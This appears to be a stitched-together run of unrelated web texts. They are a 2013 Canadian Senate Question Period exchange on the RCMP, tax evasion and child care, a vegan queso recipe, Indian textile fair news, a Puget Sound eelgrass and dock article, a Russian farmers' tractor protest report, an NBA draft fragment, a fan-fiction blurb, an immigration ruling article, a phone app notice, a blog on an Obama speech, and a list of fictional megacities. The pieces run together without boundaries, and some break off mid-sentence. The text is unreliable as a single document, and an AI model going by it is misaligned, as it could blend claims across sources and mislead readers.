many years — of debates, this side to that side, but, in any event, while you're there, it's great to have you there. I would also like to say this will be the first question I will have ever asked in Question Period of anyone other than Senator LeBreton, and I would like to acknowledge my admiration for Senator LeBreton. Having been a leader of a caucus, unfortunately not quite as large as her caucus, I know only too well the pressures, the stresses, some of the accomplishments and certainly the challenges that she has faced over many years in that position. I would like to underline that I had a very nice conversation with her after she resigned that position, and noted that she has been important to every single Conservative federal leader for the last 40 years. That's not to date you, but simply to say, Senator LeBreton, that you have a tremendous amount of experience and I look forward to us all benefiting from that for the rest of the time you have in the Senate. Hon. Senators: Hear, hear! Senator Mitchell: For all the government's content on crime and punishment in yesterday's Throne Speech, it's very interesting that the Throne Speech mentioned nothing about the fact that the single forefront law enforcement organization in this country is breaking the law every day. The RCMP has for months and months, if not years, literally not responded to access to information requests required of them to answer under access to information law. I wonder whether the new Leader of the Government in the Senate could give us some idea of his feelings or his government's feelings about the clear, profound hypocrisy of a government that expects all other Canadians to, and I quote the Throne Speech, "play by the rules" and "uphold the law," while the single most important law enforcement agency in this country flaunts the access to information law every day. [Translation] Hon. Claude Carignan (Leader of the Government): As you know, our government promotes transparency, openness and disclosure of information. In 2012-13, the government set a whole series of records in terms of openness and transparency. We also showed we have an open government with the open.gc.ca website to ensure access to the highest volume of information. In addition, the agencies, organizations and people that make up the government, and who are covered by the access to information and disclosure legislation, are also expected to comply with the legislation in keeping with this philosophy of transparency. [English] Senator Mitchell: Honourable senators, I appreciate the leader's enthusiasm for the Internet, but I can't imagine a website to actually force the RCMP to come clean on the kinds of information that is being asked for and not responded to. If a Canadian would like to know how much the RCMP has already spent on legal costs and on settlement costs for all the people who have sued them for harassment already, and if they wanted to know how much liability is in the offing for all those people who are currently suing the RCMP for harassment, exactly how would they find that out when the RCMP refuses to meet any kind of accountability or transparency standard under the access to information law? [Translation] Senator Carignan: The government has an incredible amount of information that could be disclosed, as does the RCMP. Certain documents or information cannot be disclosed for various confidentiality reasons. It may, for example, jeopardize an investigation or it may be subject to an exception under the law. We expect departments, organizations and agencies to exercise their authority within the law and the limits we impose on them. [English] Senator Mitchell: Honourable senators, I think it's safe to say there is an organizational cultural problem in the RCMP, and its failure to respond to the access to information law is further evidence of that. There was another indicator of that earlier this summer when we saw reports that the RCMP had actually licensed its uniform to be put on a Barbie doll dressed as an RCMP officer. Could the Leader of the Government give us some indication of why this government would allow, under the current circumstances facing the RCMP, with profound cultural problems, with attacks and accusations, allegations and, in fact, proven allegations of sexual harassment, that they would allow the RCMP to license that uniform, that icon and symbol of Canadian values, to be used by some entrepreneur to sell Barbie dolls and in the process to put down women in the RCMP? [Translation] Senator Carignan: Each organization or agency is responsible for promoting its various activities. It is not up to me to judge the choices made to promote those activities. I saw, as did you, that the dolls were extremely popular and they flew off the shelves. It seems as though they were very marketable and that the agency reached its objective by making that decision. It is not for me to comment on that. What I can say is that in terms of organizational transparency and access to information, we want to be sure that the maximum amount of information is being disclosed in accordance with the law. (1500) One of the ways suggested in the Speech from the Throne is the use of a website whereby all agencies could be contacted and where all information would be available and made public. If that is not enough, people will still be able to have access in writing, within the context and limits of the law. Of course, all agencies, departments and the entire machinery of government must respect the limits of the law when communicating the required information. Hon. Céline Hervieux-Payette: My question is for the Leader of the Government in the Senate. I am very pleased to have questions and answers in French. It is a refreshing change. In the report presented to G20 participants in Saint Petersburg, Russia, last September, where Prime Minister Harper was in attendance, the Organisation for Economic Co-operation and Development stated: [English] ... governments' efforts... to combat tax evasion, improve tax compliance... combat corruption and money- laundering, is increasingly central to a host of policy discussions. [Translation] As we know, the former Governor of the Bank of Canada is one of the major players best able to address the recovery of these matters. I would add that the OECD documents also state: [English] The additional revenues collected will give governments greater flexibility in supporting economic recovery. [Translation] If everyone paid their taxes, we would all have less to pay, or at least we could pay back our debts faster. In the hodgepodge of measures presented in yesterday's Speech from the Throne, I did not once hear the government say anything about making money laundering and tax evasion a priority. It seems to me that Mr. Harper would rather freeze federal budgets, cap wages and limit benefits for public service employees instead of fighting tax evasion, which would bring in additional revenue and boost our economic recovery. An organization called Canadians for Tax Fairness has pointed out that, according to Statistics Canada, in 2012, Canadian funds stashed away in the 12 main tax havens exceeded $170 billion, which represents at least one-quarter of our national budget. Could the leader tell us when his government will be fair to the middle class — the families who pay these taxes — and create teams at Revenue Canada that can collect this $170 billion from rich Canadian taxpayers who are not paying taxes? Hon. Claude Carignan (Leader of the Government): The senator is surely aware that combatting tax evasion is a priority for our government, as it appears to be for her. The Canada Revenue Agency has created a special program to carry out regular audits in order to determine the best practices. We are waiting for this kind of decision to be made in order to develop other more stringent and effective best practices. The Canada Revenue Agency has a solid history in the fight against tax evasion. Stringent measures have been implemented. I will name just a few, since I imagine you asked this question because you do not remember them or perhaps were not aware of them. We have introduced more than 75 measures since 2006 to strengthen the integrity of the tax system: we must be notified of all international transfers over $10,000; we implemented requirements for Canadian taxpayers to declare whether they have foreign income or properties; we simplified the legal process to give the Canada Revenue Agency the authority to obtain information from third parties, such as banks; and we recently invested $30 million to combat international tax evasion and aggressive tax avoidance. There are nearly 400 more tax auditors today than there were in 2006. The Canada Revenue Agency has made a tremendous effort to combat tax evasion, and I would just like to remind you that you voted against most of these measures. Senator Hervieux-Payette: Not only do I have a good memory, but I spent a year working very hard with your colleagues and mine on the Banking Committee and the Finance Committee because we have a law here in Canada called the Proceeds of Crime (Money Laundering) and Terrorist Financing Act. I would like to point out that the committee chair is here, and I mentioned the title of the act for his benefit. [English] As per section 72.(1), it states that the act should be reviewed by the committee every five years. [Translation] First of all, I would like to remind everyone that we had a Throne Speech yesterday, and that the act has not been reviewed for seven years. Second, if anyone does not believe Canadians for Tax Fairness, maybe they will believe RCMP officers. Maybe those people tell the truth every now and then. They say that the outstanding amount was $130 billion, and that is not since 2006, but for last year alone. When I say $170 billion, that is for one year, not six or seven years. The law needs to be changed. It was neither mentioned nor even alluded to in yesterday's Throne Speech. That is why I would like to know, first, when will the government listen to our committee's recommendations and second, when will the government move to fix a law that is already out of date and has not been reviewed for seven years? Senator Carignan: With respect to committee work and reviewing various laws, we have the utmost respect for committee work. You are a member of the Banking Committee. You are lucky that you were reappointed to the committee and that you can participate in making decisions to identify issues that it can look at to move this matter forward. I am pleased to hear that you support combating tax evasion. However, I would like to reiterate that we are taking every possible measure to eliminate and combat tax evasion. I would like to remind you that, as part of our Economic Action Plan and in pursuit of tax fairness, we are committed to cracking down on people who avoid paying their fair share. I would also like to remind you of the success of our international audit program which, since our government came to power, has grown by more than 40 per cent and has resulted in the collection of almost $4.6 billion in unpaid taxes. I would like to think that, if your figures are correct, the international auditors will continue to do their job and find tens of millions of dollars more in uncollected taxes. It is our greatest desire to move in that direction. Senator Hervieux-Payette: I have a supplementary question. At four per cent over seven years, I have to say that you are not very ambitious. I am not disparaging the work of Canada Revenue Agency employees. There are structural problems within your government that prevent it from introducing procedures and identifying offenders. Our committee worked hard and heard experts from many countries. If your government does not take action it cannot brag about results. Have a look at the Revenue Canada website. You will see that measures taken every year to deal with offences committed by Canadians are minimal and even ridiculous. We have to put tools in place. This also involves the Department of Justice, the RCMP, and a number of stakeholders. It is about time that your government start coordinating efforts and producing more results than just four per cent over seven years. Senator Carignan: I am sorry. Perhaps I misspoke, but it is 40 per cent. (1510) [English] Hon. Jane Cordy: As other honourable senators have done, I would like to congratulate Senator Carignan on being chosen Leader of the Government in the Senate. We worked together on Internal Economy and I enjoyed working with him. Congratulations also to Senator Martin in her new position as Deputy Leader of the Government in the Senate. Honourable senators, the recent report by the Childcare Resource and Research Unit indicates that this government's child care policies continue to fail for Canadian families. The Harper government's Universal Child Care Benefit, introduced in 2006, after scrapping the Liberal government's national child care program — which, by the way, had the agreement of the provinces — has only marginally improved access and affordability for high-quality child care options. Claims by this government that the Universal Child Care Benefit provides families with greater choice and better child care options are proven to be simply not true. In fact, the report states: ... this public expenditure does not appear to have delivered "choice in child care" or even improved families' child care choices. Can the Leader of the Government in the Senate provide this chamber with the number of child care spaces created since 2006, when this government took over, and tell us how many of those spaces are regulated spaces? Senator Mercer: Easy question: Zero. [Translation] Hon. Claude Carignan (Leader of the Government): The government's plan in regard to employment and poverty reduction also improves the situation of children. I would specifically remind you that Canada has created more than one million net new jobs since the recession. This is added income for families that also helps children; however, 1.5 million low-income Canadians in 2011 received the Working Income Tax Benefit, increasing the funds allocated to families and to children. The National Child Benefit and Child Tax Benefit have also been enhanced. We also established the Universal Child Care Benefit, which provides an additional $100 per month for each child under six years and has helped pull about 24,000 families and 55,000 children out of the low-income tax bracket. This child tax credit — which is available for each child under 18 — provides additional money for over three million children and ensures that over 180,000 low-income Canadians do not have to pay taxes. I do not think that increasing resources for families is something to be criticized. The Speech from the Throne was also very clear about our intention to continue enhancing the disposable income of our middle-class and Canadian families and by other means outlined in the Speech. To be honest, I expected to receive compliments on the government's excellent Speech from the Throne, which was aimed at increasing the funding available for families. I am rather surprised that I have not received those compliments so far. [English] Senator Cordy: Senator Carignan is saying there were 1 million net new jobs. Unfortunately many of them are part-time jobs. People are underemployed and unemployed, and they are working part-time jobs. We know that over 17 per cent of young people in Canada are unemployed. That is a striking, unfavourable number of young people to be unemployed in this country. However, that wasn't even my question. My question was related to child care spaces. I don't think, in the leader's answer, unless I didn't hear it, that he answered the question of how many child care spaces have been created since 2006. If he doesn't have the numbers, perhaps he would take that question as notice. Senator Carignan said in his answer that people are getting a little over $100 a month, which is $1,200 a year. Fortunately, I have become a new grandmother in the past year. Two of my daughters have new children. Senator D. Smith: You don't look it. Senator Cordy: Thank you very much, Senator Smith. I will take that compliment. In listening to them talk about what child care will cost when they finish their parental year, $1,200 will cover two to three weeks of the year. That leaves 49 more weeks of the year when my daughters and their husbands will have to pay child care. Fortunately they have quite high-paying jobs and are able to do it. However, many people in Canada are struggling to make ends meet and $1,200 a year will not go very far in terms of providing child care. Having been an elementary school teacher, unfortunately I saw kids whose parents had to decide on food for the table or paying for child care. As a result, children were going home after school with nobody in the home for them, and that's a sad statistic. My next question is — and perhaps the leader can also answer the other question that I asked — how many business workplace child care spaces have been created since 2006? Business workplace child care spaces were part of the Conservative election campaign a few years ago. In May 2007 I asked Senator LeBreton this very question. I asked if the leader would look at what happened with the creation of business workplace child care spaces, and she said: Honourable senators, we are still hopeful that businesses will create child care spaces. She also said: Some businesses have created child care spaces.... Perhaps, since my question in 2007, Senator Carignan can let this chamber know how many child care spaces in the business workplace have been created by this government. [Translation] Senator Carignan: With regard to employment, I would like to remind you that, of a million jobs, 90 per cent of those are full time and 80 per cent are in the private sector. With regard to the number of child care spaces, 114,000 new spaces have been created. [English] Leave having been given to revert to Government Notices of Motions: Hon. Yonah Martin (Deputy Leader of the Government): Honourable senators, with leave of the Senate and notwithstanding rule 5-5(g), I move: That when the Senate adjourns today, it do stand adjourned until Tuesday, October 22, 2013, at 2 p.m. The Hon. the Speaker: Is leave granted, honourable senators? Hon. Senators: Agreed. The Hon. the Speaker: Is it your pleasure, honourable senators, to adopt the motion? Hon. Senators: Agreed. (Motion agreed to.) (The Senate adjourned until Tuesday, October 22, 2013, at 2 p.m.)For the Cooks In The Field “Mystery Month” Heather surprised us by merging sweet and spicy flavors to create a melty cheesy delight: Pineapple Chipotle Chao Queso! The perfect compliment to tortilla chips, a chili frankfurter, baked potato or french fries! 1 Field Roast Mexican Chipotle Sausage, chopped into small pieces 1 Tbs Olive oil or Coconut Oil 1 cup Almond Milk ⅓ cup pineapple salsa of choice 1 Package Tomato Cayenne Chao Slices, cut into cubes Tortilla Chips or Fritos *For less of a kick, use Creamy Original Chao Slices or Italian Sausage. Preparations To cube the Chao Slices, remove the entire stack from the package. Use a knife to make 5 vertical sections, and then turning to cut 5 vertical sections to intersect those - a tic tac toe design that will turn the stack into cubes. Next, chop the Mexican Chipotle sausage into small pieces. In a medium sauce pan, heat oil over medium high heat. Add chopped Field Roast Sausage and sauté until browned. (Here you can set aside a few sausage bits to garnish the queso). Reduce heat to medium and add the Almond Milk, Pineapple Salsa & cubed Tomato Cayenne Chao Cheese. Cook over medium heat, continuously stirring until cheese is fully melted and queso thickens. Transfer the Queso to a bowl and serve with tortilla chips or fritos! Pro tip: Pour this queso over a chili Frankfurter, baked potato or fries!Textiles minister Smriti Irani lighting the lamp to inaugurate the 6th edition of the International Apparel and Textile Fair 'VASTRA 2017', in Jaipur. Courtesy: PIB The recent high growth of foreign direct investment (FDI) in the Indian textiles sector has boosted the confidence levels in the textiles industry, textiles minister Smriti Irani has said. The success rate of placements of skilled workforce in textiles sector is now over 70 per cent, she said inaugurating the textiles and apparel fair Vastra 2017 in Jaipur.The 6th edition of the four-day international fair started on September 21.On the success of the Integrated Skill Development Scheme, Irani said the government continues to engage with the trainees even after placement to ensure that individuals continue in the job for at least six months, according to a press release from the textiles ministry.Referring to the Rs 6,000-crore government package specially aimed at providing support to the textiles, apparel and made-ups sectors, Irani said as the textiles sector offers direct employment to over 45 million people and indirectly impacts close to another 20 million households, the sector’s growth will have a proportionate impact on the growth of employment opportunities.Rajasthan State Industrial Development and Investment Corporation Ltd. has organised the fair in association with the Federation of Indian Chambers of Commerce and Industry. It hosts over 300 international buyers and around 200 representatives from 100 Indian buying houses or agents. (DS) Fibre2Fashion News Desk – IndiaWhy Maury Island Matters Inside the Fight over a Vulnerable Part of Puget Sound Puget Sound is kind of fucked. Among its many problems: Fish in Hood Canal aren't getting the oxygen they need, invasive sea squirts (tube-shaped invertebrates) are crowding out important shell fisheries, and a food chain messed up by pollution and shoreline development means animals are struggling to eat. Which is why a light-sensitive plant called eelgrass is so important. Eelgrass is one of the few plants in Puget Sound with a life span long enough to really settle in and act as a sustainable source of shade, shelter, and nutrients for low-on-the-food-chain sea creatures. Then when it dies, it feeds bugs and crabs. Eelgrass is like nonstop life support, and protecting existing beds of it is crucial. A lot of it grows in Puget Sound's shallow northern bays, and the rest is scattered in nearshore zones just below steep bluffs like the Maury Island Aquatic Reserve, one of just four areas in Puget Sound specifically designated for protection because of the high number of endangered species that live and eat in the area. In 1998, local mining company Glacier Northwest (a subsidiary of Japanese giant Taiheiyo Cement) first applied to turn a dilapidated dock into a high-tech dock directly below its gravel mine on Maury Island, setting off a 10-year run of environmental-impact studies by government agencies, permit applications and mitigation plans by Glacier, and lawsuits from local environmentalists. Meanwhile, between 1998 and 2008, local environmental groups and the Washington State Department of Natural Resources (DNR) were learning more and more about the types of environmental parameters that sustain eelgrass habitat. The proposed Glacier dock—shaped like a T and designed to transfer gravel to boats in a large conveyor tube—would significantly alter the sensitive nearshore habitat with construction noise, interrupted sediment drifting patterns along the beach, and ground contamination from the unloading process. But most importantly, the shade cast by the physical structure of the dock and conveyor tube would surely kill off the eelgrass. Doing so would be in violation of the Endangered Species Act (ESA) because of the way it would hurt chinook salmon, orcas, and other species that develop and feed in those eelgrass beds. But a study done by the Army Corps of Engineers and completed in the summer of 2008 gave the project its final permit in the face of disagreement from environmental interests, and Glacier got permission to build the dock anyway. The permission came on December 2, 2008, when outgoing public lands commissioner Doug Sutherland—clearly stung after a narrow loss to Democrat Peter Goldmark in last year's election—granted Glacier, who had contributed $50,000 toward his reelection bid, a 30-year lease to work in the protected Maury Island reserve in one of his final moves before leaving office. ("I looked at the data we asked for, I looked at the information that was provided, and it appeared to me there was no scientific reason not to proceed," Sutherland told the Seattle Post-Intelligencer. As for the $50,000, he said, "I know nothing about the independent expenditure... That was not part of my campaign.") So a number of environmental groups led by a Maury Island operation called Preserve Our Islands submitted a lawsuit in federal court seeking to halt construction on the dock. They had the support of the Goldmark administration, which doubted the legitimacy of Sutherland's decision to grant the lease (which Glacier only pays $1,500 a year for) because they said that new science provided compelling reasons to doubt the Army Corps of Engineers permit. To their great relief, U.S. District Court Judge Ricardo Martinez ruled on August 13 in favor of the salmon and the orcas, saying the Corps' permit was no longer valid. Without valid environmental permits, leases in aquatic reserves lose their standing. "The ESA is a really blunt tool when it comes to protecting salmon and orcas," Mike Sato, communications director for fellow plaintiff People for Puget Sound, told The Stranger. "But it is a tool that can stop some really bad stuff from happening. And in this case, I think it did." But it isn't a done deal. There is still a chance that two major federal agencies (the National Oceanic and Atmospheric Administration and the Corps) will find it worthwhile to reevaluate their permits based on the latest information. However, given the stress that our current economic situation has placed on many government agencies' discretionary spending, that is somewhat unlikely. Even if they do reevaluate the permit, the Corps could find that the project is too harmful to the chinook and the orcas. That would once again spell doom for the Glacier dock. Bridget Moran, deputy supervisor for aquatics and agency resources with the DNR, describes this instance of halting the construction as a way to help mitigate against the "death by a thousand cuts" ailment that is slowly killing Puget Sound one habitat at a time. "Each one doesn't seem like it has a big impact," she said of the Maury Island issue. "This ruling tells us to look more broadly at the bigger pictures." Puget Sound is still fucked—but a little less so today than it was a week ago. "We didn't move forward on protecting Puget Sound," Sato said. "But we sure didn't make it worse."Protesters, who started from the village of Kazanskaya in the Krasnodar region with the aim of driving all 930 miles to the Kremlin in Moscow, rest near Dorozhniy village. Source: Fedor Larin/TASS Farmers from the Krasnodar Territory in southern Russia, who are fighting against the dominance of agricultural holding companies, organized a tractor march on Moscow in protest. Experts believe that their action is unlikely to change the situation: In the agricultural sector, the state relies on large producers. When the patience of small-time farmers in the Kuban steppes of southern Russia finally ran out with local authorities’ failure to take action against corrupt agricultural holding companies, they decided there was only one option: take their complaints to the very top. On Aug. 21 a column of 17 tractors driven by a delegation of local farmers set out from the village of Kazanskaya in the Krasnodar Territory with the aim of driving all 930 miles to the Kremlin in Moscow. The protesters were intending to meet with Russian President Vladimir Putin and complain on behalf of Kuban farmers about graft and the illegal appropriation of land, which they say is rife in the region. According to the disgruntled farmers, Kuban's large agricultural holding companies act like raiders, appropriating smallholders’ land by deception and bribing local courts. "Now people have their land with crops seized, and no one does anything," Alexei Volchenko, one of the organizers of the tractor march, told the Kavkazsky Uzel website. "The regional authorities do not solve our problems, even though a working group was established for this purpose." The protesters had been planning to drive all the way to Moscow, but the column was blocked by the police after just 200 miles, near Rostov-on-Don. The farmers were detained and are now in a hotel in the city. The demonstrators have refused to meet with the Krasnodar territory's governor Veniamin Kondratyev in Krasnodar, inviting him instead to come to Rostov. The Krasnodar Territory authorities insist they are doing enough to protect the interests of farmers in the region, claiming that the protesters are exaggerating the situation. Vyacheslav Lehkodukh, the governor's representative for interaction with farmers, said that the farmers' problems often arise due to non-compliance with legal procedures on their part. A cry for help from small producers The tractor march by Kuban farmers is a sign of the desperation of small producers in agriculture, whose problems are typical for Russia, said Mark Goikhman, an analyst for Russian broker TeleTrade. According to him, small companies are a "weak link" in the agricultural sector
and Malik Pope may all show improved skillsets from last year, and that could propel them up towards the lottery or first round. It very well may be the case that 2016 is a weak draft class for the NBA. But history shows that we can't really determine much based on our minimal knowledge 11 months before a draft occurs. I'm going to wait until we've seen these players a bit more in collegiate action before believing the narrative that 2016 is a poor class.It's been a week since the Royal Wedding, and Twilight and her friends are back in Ponyville, safe and sound. However, ever since they returned from Canterlot, all of Twilight's friends have gone through large bouts of guilt over ignoring her warnings. But of all her friends, Twilight is most concerned about Spike, who keeps waking up in the middle of the night with severe panic attacks. Despite all her best efforts, Twilight hasn't been able to get her assistant to talk about his dreams, or make him feel better about himself since that day. But after another restless night, Twilight has had enough, and refuses to let him go until he talks about his dream. However, when Spike finally confesses his recurring nightmare, he talks about what could've happened if Twilight never saved the wedding. And what she discovers, is much worse than she could've ever imagined. I want to thank CYOA_Anon on 4Chan for helping proofread this. The original pic was made by sherwoodwhisper on Deviantart here.In an opinion that at times read more like a partisan jeremiad than a judicial ruling, a George W. Bush-appointed federal judge ruled Tuesday that President Obama overstepped his constitutional authority with his recently unveiled executive actions on immigration. U.S. District Court Judge Arthur Schwab, who is based in Pittsburgh, made that determination in the criminal case of Elionardo Juarez-Escobar, a Honduran man on trial for unlawful re-entry into the country. Escobar was charged after being arrested for drunk driving. Advertisement: On November 20, Obama announced plans to spare up to five million unauthorized immigrants from deportation, provided they had family ties and no criminal record. Prosecutors in the Escobar case had argued that the president's action had "no effect" on cases like Escboar's. But Schwab ruled that Obama's action went beyond what's permissible under prosecutorial discretion "because: (a) it provides for a systematic and rigid process by which a broad group of individuals will be treated differently than others based upon arbitrary classifications, rather than case-by-case examination; and (b) it allows undocumented immigrants, who fall within these broad categories, to obtain substantive rights." Schwab also spent three pages of his 38-page ruling noting that Obama once cast doubt on the legality of executive action on immigration, but the judge conceded that Obama's earlier statements are “not dispositive of the constitutionality of his Executive Action on immigration.” ThinkProgress' Ian Millhiser points to some of the other bizarre features of the ruling: Half of Schwab’s analysis of the Executive Action’s constitutionality is devoted to a strawman. Noting that Obama cited Congress’s failure to act on immigration in his speech announcing the new policy, Schwab devotes half of his analysis of the policy’s constitutionality to explaining that “Inaction by Congress Does Not Make Unconstitutional Executive Action Constitutional.” He’s right on this point, just as Schwab would be correct if he argued that President Obama’s authority to create this new policy does not come from a magic hat that Obama keeps in the Oval Office. But it’s somewhat curious that the judge feels the need to present Obama’s political rhetoric as if it were a constitutional argument and then tear that non-argument down. The remainder of Schwab’s brief constitutional analysis concludes that the new policy “Goes Beyond Prosecutorial Discretion — It is Legislation.” Notably, however, Schwab cites no judicial precedents of any kind to support this conclusion. Moreover, Millhiser notes, Schwab's opinion did not cite Arizona v. United States, in which the U.S. Supreme Court determined that the executive branch has "broad discretion" when it comes to deportation policy. Given that Schwab's determination came in a ruling on a criminal case, it remains unclear what larger implications his opinion will have for the president's immigration policy.Remember Indigo, the personal assistant for Windows Phone we've looked at a handful of times? Well, we're rather excited to announce that the app has finally been certified and is available on the Windows Phone Store. Consumers are able to create an account over on the Indigo website (where the web client is housed) for a more personal experience. Should you not be familiar with the name, Indigo is a cross-platform personal assistant that integrates with a number of system apps on Windows Phone, offering numerous features for users to play around with. Here's a quick video we did demonstrating some of the capabilities in Indigo: You can download Indigo for free from the Windows Phone Store (for Windows Phone 8 only). Thanks to everyone who tipped us!Here is what I hear Obama saying in this interview with Jeffrey Goldberg and his speech to Adas Israel Congregation in Washington on Friday: 1. America is not a way station on the Diaspora trail. Jewish Americans are Americans exactly like Irish Americans and Polish Americans. They bring their heritage to this land, they are fully part of this land, and we have all benefitted from it. Jewish Americans are of this land, not Eretz Israel. 2. America has benefitted from Jewish American values. Jewish American values speak for equality and justice for all. Jewish Americans have contributed righteously to the civil rights struggle in this country. Obama says he was personally influenced by these values in his formative years, and that his policies are infused with these values today. 3. America supports Israel because of these shared values. America was and is not always true to our ideals. But our founding vision and documents have provided us with a guiding North star that has and is seeing us through. Jewish Americans and their values are helping us in this work. Similarly, Israel’s founding vision, as expressed in its declaration of independence is a vision America shares. Israel’s declaration of independence states, in part: THE STATE OF ISRAEL will … foster the development of the country for the benefit of all its inhabitants; it will be based on freedom, justice and peace as envisaged by the prophets of Israel; it will ensure complete equality of social and political rights to all its inhabitants irrespective of religion, race or sex; it will guarantee freedom of religion, conscience, language, education and culture; it will safeguard the Holy Places of all religions; and it will be faithful to the principles of the Charter of the United Nations. This commitment to a democracy that will ensure complete equality of social and political rights to all its inhabitants irrespective of religion, race or sex … and that will be faithful to the principles of the Charter of the United Nations… this is our common bond, says Obama. That is what unites us. And just as Jewish Americans have helped the United States in its struggle to live up to its founding vision, Jewish Americans–and the United States as a whole–must assist Israel to live up to its values. 4. “Implementing shared values is hard; that’s why we study,” says Obama. “It’s not just a formula you can apply,” he says. It allows for differences of views. Obama believes the current Israeli government is not pursuing these shared values; the occupation is not living up to these values; and discrimination against Palestinian Israeli citizens is not living up to these values. We must be able to be critical, and we must be able to be critical in the open. And we must recognize that such criticism is not anti-Israel and is not anti-Semitic. 5. We must recognize the unique history that brought Israel about, and that Israel has the right to exist as a majority Jewish state in light of this history. Israel has a right not only to exist, says Obama, but to thrive and prosper, and to be secure. This implies no right of return for Palestinians. 6. Everybody has rights and everybody is a child of God, says Obama. We must take the rights of Palestinian children in Ramallah, Jenin, Jericho, Nabulus, Hebron, and in Gaza (to well-being, education, and opportunities) just as seriously as those of children in Tel Aviv, Netanya, Haifa, Kiryat Shmona, and Be’er Sheva. The preservation of a democracy in a Jewish homeland requires a two-state-solution. Just as Israelis built a state in their homeland, Palestinians have a right to be free on their land as well, says Obama. It is required for Israel to be what it was intended to be. What Obama outlines in this interview and speech is a principled defense of the liberal Zionist two-state-solution that the United States has endorsed and has been advocating for the past 22 years. In the meantime, everybody recognizes that the current Israeli polity is not on board with a two-state-solution or the founding vision that Obama champions. Here is Chemi Shalev, the Haaretz Washington correspondent: Obama’s speech accentuated … the growing gap between the [American liberal community and the Israeli Jewish community]: One is from Venus, the other from Mars. In the eyes of most members of Netanyahu’s new coalition, American lefties, be they Jewish or African American or presidents of the United States, are even worse than Israeli lefties, and we know what they think about them. Obama realizes this. By clearly outlining his commitment to the Jewish state, but anchoring this support in a tradition of shared values, Obama is continuing to lay the groundwork for perhaps supporting (soon?) a United Nations resolution to force a two-state solution. Obama repeated that Netanyahu’s open rejection of the two state-solution, and his race-baiting during the election will have consequences. What those consequences are remains to be seen. This post appeared in a longer version on Roland Nikles’s blog.The cities of the future are massive, sprawling, beautiful monsters, covering entire coastlines — and in some cases, entire continents. Whether it's Judge Dredd's Mega-Cities or William Gibson's "Sprawl," future cities always devour land. Here's a map of future megalopolises. So why are these cities so overwhelmingly large? And where do they come from? Here's a list, by region: North America: The city of North Am (in Magnus Robot Fighter) does just what it sounds like — it covers almost the entirety of North America, giving you lots and lots of space in which to (what else?) fight robots. Advertisement The Maze is a huge network of underground parking garages that stretches all the way from New York to Los Angeles, in the movie Circuitry Man. Lots and lots of SF stories predict a huge swathe of city stretching along the East Coast of the United States. One of the most famous is Judge Dredd's Mega-City One, which eventually stretches all the way down to Florida. In Neuromancer and other books by William Gibson, a mega-city stretching from Boston to Atlanta is known as the Boston-Atlanta Metropolitan Axis (BAMA) or The Sprawl. Advertisement In He, She And It by Marge Piercy, the urban megalopolis that stretches from the former Boston to the former Atlanta is called The Glop. And similarly, in the novel The Rise Of The Conglomerates by Thomas Nevins, a huge sprawling "Conglomerate City" occupies most of the East Coast of the United States. Advertisement There's also BosWash, the city that stretches from Manchester, NH to Virginia Beach, Virginia. It was first predicted in the 1961 book Megalopolis: The Urbanized Northeastern Seaboard of the United States by Jean Gottman. The City in Transmetropolitan is commonly believed to be a megacity including New York and stretching as far West as the Great Lakes, which are referred to as its Western lakes. The Greater Chicago Industrial Zone: In Halo, the former city of Chicago now covers the former states of Illinois, Wisconsin, Indiana. And Chicago is no longer really part of the United States — the people in this city-state consider thesmelves citizens of the United Nations. Advertisement In real life, some urban planners talk about an area called ChiPitts, which comprises Chicago and Pittsburgh, and everything in between. Texarkana in A Canticle For Leibowitz, appears to cover a huge chunk of the former Texas and Arkansas, and becomes the capitol of an empire that rules the Western Hemisphere — and eventually wipes out its main rival, New Rome. (Map from Wikipedia page.) Advertisement Texas City, in the Judge Dredd comic, covers a huge area of the former Southwest — including Texas, of course. Bay City is a massive conurbation covering San Francisco as well as its outlying areas, in Richard K. Morgan's Altered Carbon. San Angeles appears in many different works of fiction, and it usually encompasses Los Angeles, San Diego and sometimes Santa Barbara. It's the setting for Demolition Man. Advertisement Mega-City Two also accounts for five thousand miles of California coastline — or it did, until it was nuked — in the Judge Dredd comic. South America: Sao Paulo/Rio: In Ben Bova's Mars, the rural poor stream into the cities of Sao Paolo and Rio De Janeiro in such huge numbers, the two cities grow into "a single urban megacity more than three hundred kilometers wide, that stretched from the beaches to the inland hills, sparkling high-rise towers for the rich, sprawling filthy slums for the poor, and smoggy lung-corroding pollution for all." Advertisement Ciudad Baranquilla, aka Banana City, is the mega city that covers most of Central America in the Judge Dredd comics. Europe: Greater London — in Sunstorm by Arthur C. Clarke and Stephen Baxter, London has grown outwards massively, swallowing up tons of villages and formerly independent towns. Clarke and Baxter describe London as spreading out, "kilometer upon kilometer of houses and factories... the scattered, helpless city that lay helpless below" a passing airplane. Advertisement Edinburgh/Glasgow — it's not strictly speaking science fiction, but there's a lot of talk about these two Scottish cities combining into one megalopolis in the coming century. The two cities could soon be linked by a high-speed maglev train. But it doesn't appear that any science fiction authors have written about EdinGow yet. Metropia, in the animated film of the same name, is a massive network of subway systems and "undergrounds" linking all the cities in continental Europe. The world is running out of oil, so the leaders come up with the plan to link all of the subway systems into one huge network — which appears to be haunted. Advertisement City Europe, in the Chung Kuo series by David Wingrove, covers an enormous area of continental Europe, from Scandinavia to the Mediterranean. The city is made up of a series of "stacks" with the richest people living on the top levels and the poorest down in the wastelands below. The south of England is occupied by Brit-Cit in Judge Dredd. Plus East Meg One is another mega-city in the Judge Dredd universe, which covers a big chunk of the former Soviet Union, including Moscow. And of course, there's East-Meg One, the Soviet mega-city in Judge Dredd, which sprawls around the remains of Moscow — until it gets destroyed in a war with Mega-City One. Advertisement Africa: Pan-Africa is a continent-wide quasi-state comprising several mega-cities in the Judge Dredd universe: they include Umar (the former Libya), Simba City (Cameroon), Luxor (Egypt), New Jerusalem (the northeast of Ethiopia), and Casablanca. Advertisement Gauteng is another one that doesn't appear to have popped up in science fiction very much, but it's talked about a lot in real life. In a nutshell, Johannesburg (a city already growing way past its capacity) joins up with Pretoria/Tshwane and a number of other municipalities, to form a single megacity. There are already plans to join them via a high-speed "Gautrain." Asia: Advertisement Mega-Tokyo in Bubblegum Crisis. An earthquake splits Tokyo in two, and as the city rebuilds, it gets even larger and much more sprawling, coming to be known as Mega Tokyo. Here's a map of Mega Tokyo, from B-Club Special (via Igarashi) Likewise, Akira takes place in Neo Tokyo, a sprawling metropolis of steel and neon. And the anime Cyber-City Oedo 808 takes place in a fictional future "Edo," or Tokyo, which is apparently much larger than the existing city. And real-life urban planners talk about the Taiheiyo Belt, which will cover the Pacific coast of Japan including Tokyo, Osaka and Nagoya. A single continuous robotic structure known as The Host covers almost all the islands of Japan, and 50 million people live inside it, in Magnus Robot Fighter and Rai. 